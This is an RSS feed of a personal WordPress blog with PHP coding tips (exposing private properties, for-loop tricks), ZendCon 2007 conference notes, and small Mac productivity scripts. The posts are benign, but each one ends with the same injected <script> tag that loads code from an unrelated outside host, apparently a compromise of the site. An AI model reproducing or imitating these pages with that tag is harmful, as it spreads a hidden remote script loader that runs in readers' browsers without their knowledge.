<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Code</title>
	<atom:link href="http://headphono.us/category/code/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>A neat trick to expose PHP objects&#8217; private properties</title>
		<link>http://headphono.us/2010/03/09/a-neat-trick-to-expose-php-objects-private-properties/</link>
		<comments>http://headphono.us/2010/03/09/a-neat-trick-to-expose-php-objects-private-properties/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 23:48:42 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=119</guid>
		<description><![CDATA[If you&#8217;ve ever needed to write up a PHPUnit test that requires you to check the value of a private property, you can try accessing the private member variables like so:

&#60;?php
class foo &#123;
    private $bar = 42;
&#125;
&#160;
$obj = new foo;
$propname=&#34;\0foo\0bar&#34;;
$a = &#40;array&#41; $obj;
echo $a&#91;$propname&#93;;
?&#62;

Or PHP 5.3+ using Reflections:

&#60;?php
static function expose&#40;$obj, $prop&#41; &#123;
 [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve ever needed to write up a PHPUnit test that requires you to check the value of a private property, you can try accessing the private member variables like so:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> foo <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$bar</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">42</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$obj</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> foo<span style="color: #339933;">;</span>
<span style="color: #000088;">$propname</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>foo<span style="color: #660099; font-weight: bold;">\0</span>bar&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$obj</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$a</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$propname</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Or PHP 5.3+ using Reflections:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
static <span style="color: #000000; font-weight: bold;">function</span> expose<span style="color: #009900;">&#40;</span><span style="color: #000088;">$obj</span><span style="color: #339933;">,</span> <span style="color: #000088;">$prop</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #000088;">$reflection</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> ReflectionClass<span style="color: #009900;">&#40;</span><span style="color: #000088;">$obj</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$prop</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$reflection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getProperty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$prop</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">return</span> <span style="color: #000088;">$prop</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getValue</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$obj</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> 
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Great tip from <a href="http://derickrethans.nl/private-properties-exposed.html">Derick Rethans</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/03/09/a-neat-trick-to-expose-php-objects-private-properties/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Having fun with for loops</title>
		<link>http://headphono.us/2009/10/25/having-fun-with-for-loops/</link>
		<comments>http://headphono.us/2009/10/25/having-fun-with-for-loops/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 01:35:20 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=102</guid>
		<description><![CDATA[I love for loops. I use them in ways they probably shouldn&#8217;t be used for. Here are some few fun ways of using for loops with the caveat that not all these should be used since they are unorthodox and may not be easily readable to others in your team. 
For loops for concise conditional [...]]]></description>
			<content:encoded><![CDATA[<p>I love <code>for</code> loops. I use them in ways they probably shouldn&#8217;t be used for. Here are some few fun ways of using <code>for</code> loops with the caveat that not all these should be used since they are unorthodox and may not be easily readable to others in your team. </p>
<p><strong>For loops for concise conditional logic</strong></p>
<p>Have you ever come across a pattern where you need to set a new variable, check it against another limit variable and then depending on a condition (limit variable is greater/lesser than your new variable), update it accordingly?</p>
<p>Here&#8217;s an example:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// pages can't be lower than 1</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>While the above snippet is completely readable (and somewhat contrived), there&#8217;s a more concise way to use <code>for</code> loops to achieve the same result:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>The reason this works is because the <code>for</code> loop has three useful parts:<em> initialization, conditional and mutator</em>. If you ever come across a pattern in code that requires a combination of the three, chances are you can use a <code>for</code> loop. The above would be evaluated as follows:</p>
<ol>
<li><code>$page</code> gets initialized</li>
<li>the conditional is evaluated</li>
<li>if found <code>true</code>, it runs through the <code>for</code> loop execution (which is empty)</li>
<li>the mutation section sets <code>$page</code> to 1</li>
<li>it evaluates the conditional again and finds it to be <code>false</code> and exits out of the <code>for</code> loop</li>
</ol>
<p><strong>For loops for short circuit search</strong></p>
<p>There are times when you need to find the index of an element in an array provided it matches some condition. For example, let&#8217;s say you have an array of breadcrumb nodes, and you need to walk the array to find out at which index the current page matches. If you have lots of pages in the array, you&#8217;d probably want to walk the array as far as your match. Using a <code>while</code>, it looks like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$arr</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
     <span style="color: #0000ff;">'/home/'</span><span style="color: #339933;">,</span> 
     <span style="color: #0000ff;">'/home/products/'</span><span style="color: #339933;">,</span>
     <span style="color: #0000ff;">'/home/products/1'</span><span style="color: #339933;">,</span> 
     <span style="color: #0000ff;">'/home/products/2'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$this_page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/home/products/1'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$arr</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$this_page</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$i</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #666666; font-style: italic;">// $i = 2</span></pre></div></div>

<p>Now let&#8217;s try that with a <code>for</code> loop:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$arr</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$this_page</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p><b>What else can you do with a for loop?</b></p>
<p>You can implement reverse sort pretty concisely:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> swap<span style="color: #009900;">&#40;</span> <span style="color: #339933;">&amp;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span><span style="color: #000088;">$b</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #000088;">$temp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$a</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$b</span><span style="color: #339933;">;</span>
   <span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$temp</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> reverse<span style="color: #009900;">&#40;</span> <span style="color: #339933;">&amp;</span><span style="color: #000088;">$arr</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #000088;">$j</span><span style="color: #339933;">=</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$arr</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$j</span><span style="color: #339933;">&gt;</span><span style="color: #000088;">$i</span><span style="color: #339933;">;</span>
        swap<span style="color: #009900;">&#40;</span><span style="color: #000088;">$arr</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$arr</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #339933;">--</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$arr</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">4</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
reverse<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$arr</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// $arr = array( 5, 4, 3, 2, 1 );</span></pre></div></div>

<p>I hope this helps you find more unorthodox uses of the useful <code>for</code> loop, and realize that it&#8217;s not just to iterate over a collection/array. If you already use <code>for</code> loops in a clever way, leave a comment and share with others.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2009/10/25/having-fun-with-for-loops/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>ZendCon 07 &#8211; Day 2 (Afternoon update)</title>
		<link>http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/</link>
		<comments>http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 21:36:24 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/</guid>
		<description><![CDATA[The Joel Spolsky keynote was one of the most engaging, interesting and downright hilarious presentations I&#8217;ve heard this year. He really knows how to talk to the crowd. A few suggestions from Joel on creating great software:

Make people happy
Think about emotions
Obsess over aesthetics

Joel is right &#8211; developers don&#8217;t necessarily want to think about beautifying their [...]]]></description>
			<content:encoded><![CDATA[<p>The Joel Spolsky keynote was one of the most engaging, interesting and downright hilarious presentations I&#8217;ve heard this year. He really knows how to talk to the crowd. A few suggestions from Joel on creating great software:</p>
<ol>
<li>Make people happy</li>
<li>Think about emotions</li>
<li>Obsess over aesthetics</li>
</ol>
<p>Joel is right &#8211; developers don&#8217;t necessarily want to think about beautifying their applications. Developers largely work on the middle-tier and supporting backends, and like everyone, they have an underlying desire for their work to be observed and appreciated. If the &#8217;skin&#8217; of the application garners all the attention, developers might feel slighted, and their kickass software go unappreciated.</p>
<p>But it&#8217;s important to think about beautifying the application as an enhancement to the great product. Imagine it as if you&#8217;re working hard to restore a great relic automobile. You work tirelessly to juice up the engine and get the transmission just right. But the paint job that you add to it is equally important and you shouldn&#8217;t hold back making it shine &#8211; REALLY shine. After all, hardly anyone&#8217;s going to listen to the roaring engine if they don&#8217;t even notice your shiny car rolling in.</p>
<p>&#8217;nuff said. Now to go get some caffeine.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/10/zendcon-07-day-2-afternoon-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZendCon 07 &#8211; Day 2</title>
		<link>http://headphono.us/2007/10/10/zendcon-07-day-2/</link>
		<comments>http://headphono.us/2007/10/10/zendcon-07-day-2/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 18:14:45 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/10/zendcon-07-day-2/</guid>
		<description><![CDATA[Second day here at the ZendCon 07, and no session better than Eli White&#8217;s PHP Features You Didn&#8217;t Know Existed to start off the day. PHP developers who&#8217;ve been coding for a number of years (some 10 years or more) were scoffing at the idea that Eli would present anything new or &#8216;undiscovered&#8217;. But there [...]]]></description>
			<content:encoded><![CDATA[<p>Second day here at the ZendCon 07, and no session better than <a href="http://eliw.com">Eli White</a>&#8217;s <strong>PHP Features You Didn&#8217;t Know Existed</strong> to start off the day. PHP developers who&#8217;ve been coding for a number of years (some 10 years or more) were scoffing at the idea that Eli would present anything new or &#8216;undiscovered&#8217;. But there wasn&#8217;t a cough in the packed room as Eli presented rarely-used hidden gems in the PHP language. The applause at the end surely put any scoffism to rest.</p>
<p>I can&#8217;t list all the neat stuff that Eli covered, but something that caught my attention was the topic of closing connections early. I&#8217;ve been trying to find an elegant way to solve this problem for a personal project and this might just be the way to do it. Here&#8217;s some rough code (more specific code examples to come later):</p>
<p><code><br />
ignore_user_abort(true);<br />
header("Connection: close");<br />
header("Content-Length: ", mb_strlen($response));<br />
echo $response;<br />
flush();<br />
</code></p>
<p>The <code>ignore_user_abort(true)</code> function basically lets your script continue execution even though the user might have hit the STOP button in his browser, or the connection between the user and your script got disconnected, etc. This neat code above lets you return a quick response (great for Ajax button clicks) so that you can update client side &#8211; keeping your site fast and responsive &#8211; while your script chugs along server side.</p>
<p>More updates coming up today, but don&#8217;t forget to come to the PHP Nightclub event (starts at 8pm) and check out the Yahoo! gang. Btw, the event is open to all, so there&#8217;s no excuse to miss it!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/10/zendcon-07-day-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blogging from ZendCon 07</title>
		<link>http://headphono.us/2007/10/09/blogging-from-zendcon-07/</link>
		<comments>http://headphono.us/2007/10/09/blogging-from-zendcon-07/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 06:17:19 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://headphono.us/2007/10/09/blogging-from-zendcon-07/</guid>
		<description><![CDATA[The first day of Zend Con was pretty interesting. I wasn&#8217;t able to attend all the sessions, but the notable ones were Terry Chay&#8217;s The Internet is an Ogre: Finding Art in the Software Architecture (hilarious guy), Ben Ramsey&#8217;s Give Your Site A Boost With memcache, and Eli White&#8217;s High Performance PHP &#38; MySQL Scaling [...]]]></description>
			<content:encoded><![CDATA[<p>The first day of Zend Con was pretty interesting. I wasn&#8217;t able to attend all the sessions, but the notable ones were Terry Chay&#8217;s <strong><strong>The Internet is an Ogre: Finding Art in the Software Architecture </strong></strong>(hilarious guy), Ben Ramsey&#8217;s <strong><strong>Give Your Site A Boost With memcache</strong></strong>, and Eli White&#8217;s <strong><strong>High Performance PHP &amp; MySQL Scaling Techniques</strong></strong> (standing room only).</p>
<p>These types of sessions make conferences interesting and a learning experience (and ultimately worth spending your time at). Even though a lot of material might be common knowledge (covered in books, papers, online articles), it&#8217;s always important to get a sense of validation when you see their presentations with live data and hear comments from the audience about possible problems and gotchas.</p>
<p>Of course, no conference is complete without the odd product placement presentations (I&#8217;m looking at you IBM and Adobe) but as long as they keep their presentations geared towards providing solutions rather than forcing you to buy into <em>their</em> solution, I&#8217;m all for it.</p>
<p>If you&#8217;re at <a href="http://www.zendcon.com">ZendCon 07</a>, make sure to drop by the Yahoo! booth in the reception area where I&#8217;ll be handing out purple tote bags and chatting about the interesting things we do at Yahoo! (and <a href="http://research.yahoo.com">Yahoo! Research</a> in particular).<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/10/09/blogging-from-zendcon-07/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keeping iTunes organized with tags</title>
		<link>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/</link>
		<comments>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/#comments</comments>
		<pubDate>Sat, 22 Sep 2007 11:49:03 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=31</guid>
		<description><![CDATA[I go through a lot of music through the day &#8211; my ipod through commutes, workstations at work and home, etc. Keeping my music organized is not only necessarily but also lets me look up the right song for the right moment. So I got to thinking, why not use the social tagging concept for [...]]]></description>
			<content:encoded><![CDATA[<p>I go through a lot of music through the day &#8211; my ipod through commutes, workstations at work and home, etc. Keeping my music organized is not only necessarily but also lets me look up the right song for the right moment. So I got to thinking, why not use the social tagging concept for my mp3&#8217;s. Luckily, iTunes already has support for a mp3 tag called &#8220;Grouping&#8221;.</p>
<p>Searching around a bit, I found that <a href="http://tunetag.com/?page_id=6">Chris Brown</a> had already thought of this way back in May 06. He created an applescript called <a href="http://tunetag.com/">TuneTag</a> which was exactly what I was looking for. Except that I wanted to use the Grouping field instead of the more general Comments field (which I use for other purposes).</p>
<p>After a little bit of tweaking (actually just a search and replace), I integrated the script with <a href="http://quicksilver.blacktree.com">Quicksilver</a> (copy the .scpt files to <code>~/Library/Application Support/Quicksilver/Actions</code>). Once you&#8217;ve gotten that done, pull up the Quicksilver menu, hit the &#8220;.&#8221; and type your (space-separated) tags, tab over and type in &#8220;tag&#8221; to pull up the script and hit Enter.</p>
<p>That should start you off adding tags to your current playing song. But proper organization goes a little further. I listen (read screen) a lot of songs to see if they&#8217;re up to my *ahem* world-class quality. I usually have a smart playlist set up to only include the songs added to the collection in the last day. I go through this list, and if I like any of the songs, I add a tag (using all the stuff above) called &#8220;atc&#8221; (add to collection). The final step is to add a new smart playlist to only keep off of the &#8220;atc&#8221; tag so that you can copy these songs over to your permanent collection while getting rid of the rest easily.</p>
<p><a href="http://headphono.us/code/TuneTag%20v1.2.1.zip">Here&#8217;s the modified script released under a Creative Commons license.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2007/09/22/keeping-itunes-organized-with-tags/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>todo.txt and Multi-user IM bot</title>
		<link>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/</link>
		<comments>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/#comments</comments>
		<pubDate>Sun, 23 Jul 2006 04:37:50 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=22</guid>
		<description><![CDATA[I started using the minimal but feature-rich todo.txt by Gina Trapani today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.
A few tweaks you may [...]]]></description>
			<content:encoded><![CDATA[<p>I started using the minimal but feature-rich <a href="http://todotxt.com">todo.txt by Gina Trapani</a> today. Its got a great set of features (lists, priorities, projects, contexts, etc). Its minimal and coupled with the AIM client, you don&#8217;t necessarily have to always have a Terminal window open to interact with it. Adium does just fine.</p>
<p>A few tweaks you may want to use to further enhance. I found myself typing <strong>&#8220;ls&#8221;</strong> for <strong>&#8220;list&#8221;</strong> too often and then having to correct it. To have &#8220;ls&#8221; also work as &#8220;list&#8221;, change line 271 from <code>271:   "list" )</code> to <code>271:   "list" | "ls" )</code>. You can also do the same for <strong>&#8220;do&#8221;</strong> (or <strong>&#8220;done&#8221;</strong> as I like it). Change line 254 from <code>254:   "do" )</code> to <code>254:   "do" | "done" )</code></p>
<p>Finally, I edited the todobot.pl script to support multi-user control. <a href="http://headphono.us/code/todobot-pl.txt">Download the updated todobot.pl script</a>. Rename the file to <strong>todobot.pl</strong>. You can add multiple usernames by separating them with commas like: <code>my $commander = 'username1, username2, username3';</code></p>
<p><strong>Update</strong>: I&#8217;ve changed the todobot.pl to include a <strong>&#8220;die&#8221;</strong> command so that you can take it offline remotely. This signs the bot out of AIM, and also gracefully kills the todobot.pl script. This is included in the todobot.pl script above.</p>
<p>Now you can run the script as <code>perl todobot.pl > /dev/null &#038;</code> (pipes the output to null so it doesn&#8217;t clutter up your Terminal and also pushes the process to the background). This is where the &#8220;die&#8221; command comes in handy &#8211; no more having to figure out the process id to kill your IM bot.</p>
<p>Please email bugs to mxz at headphono.us<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/07/22/todotxt-and-multi-user-im-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>World Cup Schedule Dashboard Widget</title>
		<link>http://headphono.us/2006/06/09/world-cup-schedule-dashboard-widget/</link>
		<comments>http://headphono.us/2006/06/09/world-cup-schedule-dashboard-widget/#comments</comments>
		<pubDate>Fri, 09 Jun 2006 07:12:35 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Apps]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://headphono.us.s27219.gridserver.com/?p=16</guid>
		<description><![CDATA[I released my first widget today &#8211; the FIFA World Cup 2006 Schedule. Its powered by the good folks at www.worldcupkickoff.com and uses rss feeds to pull in the match timings. It should automatically adjust the time to the timezone set in your preferences. You also have the ability to see schedules by teams or [...]]]></description>
			<content:encoded><![CDATA[<p>I released my first widget today &#8211; the <a href="http://headphono.us/fifa-world-cup-2006-schedule-dashboard-widget/">FIFA World Cup 2006 Schedule</a>. Its powered by the good folks at <a href="http://www.worldcupkickoff.com">www.worldcupkickoff.com</a> and uses rss feeds to pull in the match timings. It should automatically adjust the time to the timezone set in your preferences. You also have the ability to see schedules by teams or by groups.</p>
<p>After much searching, being unable to find a widget for the 2006 World Cup schedule (atleast for the Mac), I decided to code it up real quick. It was a very rush job &#8211; snippets of code thrown together &#8211; so it may be a little buggy. Please forward all bugs to me at mxz AT headphono DOT us. The current version is 1.00. Watch out for bug releases (if any).</p>
<p>As always, I&#8217;d love to hear all suggestions.</p>
<p>UPDATE: Direct download link <a href="http://headphono.us/widgets/FIFAWorldCup2006ScheduleWidget.zip">here</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2006/06/09/world-cup-schedule-dashboard-widget/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 6.776 seconds -->
